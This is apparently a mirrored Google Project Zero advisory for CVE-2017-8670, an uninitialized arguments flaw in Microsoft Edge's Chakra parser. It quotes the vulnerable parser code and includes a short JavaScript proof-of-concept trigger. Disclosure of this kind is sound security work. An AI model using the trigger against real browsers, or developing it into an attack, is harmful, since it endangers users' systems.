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Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments
Posted Aug 17, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an uninitialized arguments vulnerability in Parser::ParseFncFormals with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

tags | exploit
advisories | CVE-2017-8670
MD5 | a0bb4862186218d2082f06418fe41eef

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Change Mirror Download
Microsoft Edge: Chakra: Uninitialized arguments 2

CVE-2017-8670


Similar to the <a href="/p/project-zero/issues/detail?id=1297" title="Microsoft Edge: Chakra: Uninitialized arguments" class="closed_ref" rel="nofollow"> issue #1297 </a>. But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
...
if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
{
...
// Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
{
Assert(lexNode->IsVarLetOrConst());
UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
lexNode->sxVar.sym->SetSymbolType(STFormal);
if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam; <<------ HERE
}
}
...
...
}

PoC:
function f() {
({a = ([arguments]) => {
}} = 1);

arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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